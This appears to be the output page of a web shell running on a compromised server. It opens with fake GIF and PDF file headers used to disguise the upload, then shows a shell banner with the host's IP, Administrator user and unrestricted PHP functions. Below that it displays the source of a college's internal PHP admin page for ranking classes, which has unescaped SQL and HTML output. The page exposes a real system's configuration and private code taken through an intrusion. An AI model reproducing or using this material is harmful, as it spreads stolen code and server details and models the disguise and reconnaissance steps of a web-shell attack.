GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/DARS.cloak/RankClasses/ |
Upload File : |
<? // /Admin/DARS/RankClasses/RankClasses.phpinc // purpose_of_page_goes_here $headTitle = '_CST_ - Rank Classes'; $pageTitle = '_CST_<br>Rank Classes'; $css = "printing"; include('common/pageHeader.phpinc'); // Get sessionId $query = " SELECT sessionId FROM `session` WHERE YRTR = '".mysql_real_escape_string($_SESSION['userYRTR'])."' "; $sessionResult = query_do($query); $sessionResultCount = $_SESSION['qry']['count']; if (!$sessionResultCount) { $f_error = 'SessionId not found for '.$_SESSION['userYRTR'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } mysql_data_seek($sessionResult, 0); $sessionRow = mysql_fetch_assoc($sessionResult); $f_sessionId = $sessionRow['sessionId']; // Get the darsIds for this sessionId $query = " SELECT darsId FROM `dars` WHERE sessionId = ".$f_sessionId." ORDER BY darsId "; $darsResult = query_do($query); $darsResultCount = $_SESSION['qry']['count']; if (!$darsResultCount) { $f_error = 'No DARS found for session '.$_SESSION['userYRTR'].'.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } $darsList = query_to_list($darsResult); #printVar('$darsResultCount',$darsResultCount); #printVar('$darsList',$darsList); // Get the darssectionId for these darsIds where darssectionTitle = 'Technical Core Courses'. $query = " SELECT darssectionId FROM `darssection` WHERE darsId IN (".$darsList.") AND darssectionTitle = 'Technical Core Courses' ORDER BY darssectionId "; $darssectionResult = query_do($query); $darssectionResultCount = $_SESSION['qry']['count']; if (!$darssectionResultCount) { $f_error = 'No DARS sections found for session '.$_SESSION['userYRTR'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } $darssectionList = query_to_list($darssectionResult); #printVar('$darssectionResultCount',$darssectionResultCount); #printVar('$darssectionList',$darssectionList); // Get the credential codes. $query = " SELECT darscredentialcodeId, darscredentialcodeCode FROM `darscredentialcode` ORDER BY darscredentialcodeCode "; $darscredentialcodeResult = query_do($query); $darscredentialcodeResultCount = $_SESSION['qry']['count']; #if ($darscredentialcodeResultCount != 1) { if (!$darscredentialcodeResultCount) { $f_error = 'No credential codes found.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } // Display the table key. ?> <br> <table class="blackborder center white"> <tr><th colspan="3">Key:</th></tr> <tr> <th class="grayborder right">Code</th><th class="grayborder" colspan="2">Credential Title</th> </tr> <? mysql_data_seek($darscredentialcodeResult, 0); while ($darscredentialcodeRow = mysql_fetch_assoc($darscredentialcodeResult)) { // Get the credential names for these codes. $query = " SELECT darscredentialId, darscredentialTitle, darscredentialcodeId FROM `darscredential` WHERE darscredentialcodeId = ".$darscredentialcodeRow['darscredentialcodeId']." ORDER BY darscredentialTitle "; $darscredentialResult = query_do($query); $darscredentialResultCount = $_SESSION['qry']['count']; #if ($darscredentialResultCount != 1) { if (!$darscredentialResultCount) { $darscredentialRow = ''; $f_error = 'No credential titles found.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } ?> <td class="grayborder right"><?=$darscredentialcodeRow['darscredentialcodeCode']?></td> <!-- <td class="grayborder"> --> <? mysql_data_seek($darscredentialResult, 0); while ($darscredentialRow = mysql_fetch_assoc($darscredentialResult)) { ?> <td class="grayborder"><?=$darscredentialRow['darscredentialTitle']?></td> <? } ?> <!-- </td> --> </tr> <? } ?> </table> <? // Get the darssectionselectfrom classes. $query = " SELECT DISTINCT darssectionselectfromDept, darssectionselectfromNumb, darssectionselectfromOrDept, darssectionselectfromOrNumb, count(darssectionselectfromDept) AS classCount FROM `darssectionselectfrom` WHERE darssectionId IN (".$darssectionList.") GROUP BY darssectionselectfromDept, darssectionselectfromNumb, darssectionselectfromOrDept, darssectionselectfromOrNumb ORDER BY darssectionselectfromDept, darssectionselectfromNumb "; $darssectionselectfromResult = query_do($query); $darssectionselectfromResultCount = $_SESSION['qry']['count']; if (!$darssectionselectfromResultCount) { $f_error = 'No DARS section Classes found for session '.$_SESSION['userYRTR'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } #printVar('$darssectionselectfromResultCount',$darssectionselectfromResultCount); #printQuery('$darssectionselectfromResult',$darssectionselectfromResult); function displayTableHeader($result,$cols) { $cols += 5; ?> <tr><th class="center grayline" colspan="<?=$cols?>"><input type="submit" name="f_task" value="Update Rank" /></th></tr> <tr> <th class="center grayline" colspan="2">Class</th> <th class="center grayline">Cr</th> <? $style = ''; mysql_data_seek($result, 0); while ($resultRow = mysql_fetch_assoc($result)) { if ($style) { $style = ''; } else { $style = ' style="background-color:#EFEFEF"'; } ?> <th class="center grayline"<?=$style?>><?=$resultRow['darscredentialcodeCode']?><br>Rank</th> <? } ?> <th class="center grayline" colspan="2">or Class</th> </tr> <? } ?> <br> <form name="rankClasses" action="<?=php_self()?>" method="post"> <input type="hidden" name="f_form" value="rankClasses" /> <input type="hidden" name="uuid" value="<?=uuid()?>" <table class="blackborder center white"> <? displayTableHeader($darscredentialcodeResult,$darscredentialcodeResultCount); // Loop through the classes. $headerLineRepeatAt = 20; $line = $headerLineRepeatAt; mysql_data_seek($darssectionselectfromResult, 0); while ($darssectionselectfromRow = mysql_fetch_assoc($darssectionselectfromResult)) { // Get the darsclassId for this class. $query = " SELECT darsclassId, darsclassCredits FROM `darsclass` WHERE darsclassDept = '".mysql_real_escape_string($darssectionselectfromRow['darssectionselectfromDept'])."' AND darsclassNumb = '".mysql_real_escape_string($darssectionselectfromRow['darssectionselectfromNumb'])."' "; $darsclassResult = query_do($query); $darsclassResultCount = $_SESSION['qry']['count']; if (!$darsclassResultCount) { // Add the class to darsclass. $query = " INSERT INTO `darsclass` ( darsclassDept, darsclassNumb, darsclassCredits ) VALUES ( '".mysql_real_escape_string($darssectionselectfromRow['darssectionselectfromDept'])."', '".mysql_real_escape_string($darssectionselectfromRow['darssectionselectfromNumb'])."', ".$f_darsclassCredits." ) "; $darsclassInsert = query_do($query); // Get the darsclassId for this class. $query = " SELECT darsclassId, darsclassCredits FROM `darsclass` WHERE darsclassDept = '".mysql_real_escape_string($darssectionselectfromRow['darssectionselectfromDept'])."' AND darsclassNumb = '".mysql_real_escape_string($darssectionselectfromRow['darssectionselectfromNumb'])."' "; $darsclassResult = query_do($query); $darsclassResultCount = $_SESSION['qry']['count']; if (!$darsclassResultCount) { $f_error = 'Class '.$darssectionselectfromRow['darssectionselectfromDept'].$darssectionselectfromRow['darssectionselectfromNumb'].' could not be added to the darsclass table.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } } mysql_data_seek($darsclassResult, 0); $darsclassRow = mysql_fetch_assoc($darsclassResult); $f_darsclassId = $darsclassRow['darsclassId']; // Get the darsclassCredits. if ($f_form == 'rankClasses') { // Get the darsclassCredits from the form. $f_darsclassCredits = formValue('darsclassCredits_'.$f_darsclassId); } else { // Get the darsclassCredits from the database. $f_darsclassCredits = $darsclassRow['darsclassCredits']; } if ($f_darsclassCredits == -1) $f_darsclassCredits = ''; // Display -1 credits as ''; if (!$line) { $line = $headerLineRepeatAt; displayTableHeader($darscredentialcodeResult,$darscredentialcodeResultCount); } $line--; ?> <tr> <td class="grayline right pv_b"><?=$darssectionselectfromRow['darssectionselectfromDept']?></td><td class="grayline pv_b"><?=$darssectionselectfromRow['darssectionselectfromNumb']?></td><td><input type="text" class="number2" name="f_'darsclassCredits_'<?=$f_darsclassId?>>" value="<?=$f_darsclassCredits?>" /></td> <? // Loop through the credentials. $style = ''; mysql_data_seek($darscredentialcodeResult, 0); while ($darscredentialcodeRow = mysql_fetch_assoc($darscredentialcodeResult)) { $f_darscredentialcodeId = $darscredentialcodeRow['darscredentialcodeId']; if ($f_form == 'rankClasses') { // Get the darsclassrankRank from the form. $f_darsclassrankRank = formValue('darsclassrankRank_'.$f_darsclassId.'_'.$f_darscredentialcodeId); } else { // Get the darsclassrankRank from the database. $query = " SELECT darsclassrankRank FROM `darsclassrank` WHERE darsclassId = ".$f_darsclassId." AND darscredentialcodeId = ".$f_darscredentialcodeId." "; $darsclassrankResult = query_do($query); $darsclassrankResultCount = $_SESSION['qry']['count']; if (!$darsclassrankResultCount) { $darsclassrankRank = ''; } else { $darsclassrankRow = mysql_fetch_assoc($darsclassrankResult); $f_darsclassrankRank = $darsclassrankRow['darsclassrankRank']; } } if ($f_darsclassrankRank == 0) $f_darsclassrankRank = ''; // Display 0 rank as ''; if ($style) { $style = ''; } else { $style = ' style="background-color:#EFEFEF"'; } ?> <td class="center grayline"<?=$style?>> <input type="text" class="number3" name="f_darsclassrankRank_<?=$f_darsclassId?>_<?=$f_darscredentialcodeId?>" value="<?=$f_darsclassrankRank?>" /> </td> <? } ?> <td class="grayline right pv_b"><?=$darssectionselectfromRow['darssectionselectfromOrDept']?></td><td class="grayline pv_b"><?=$darssectionselectfromRow['darssectionselectfromOrNumb']?></td> </tr> <? } // while ($darscredentialcodeRow = mysql_fetch_assoc($darscredentialcodeResult)) { $cols = $darscredentialcodeResultCount + 5; ?> <tr><th class="center grayline" colspan="<?=$cols?>"><input type="submit" name="f_task" value="Update Rank" /></th></tr> </table> </form> <? include('common/pageFooter.phpinc'); ?>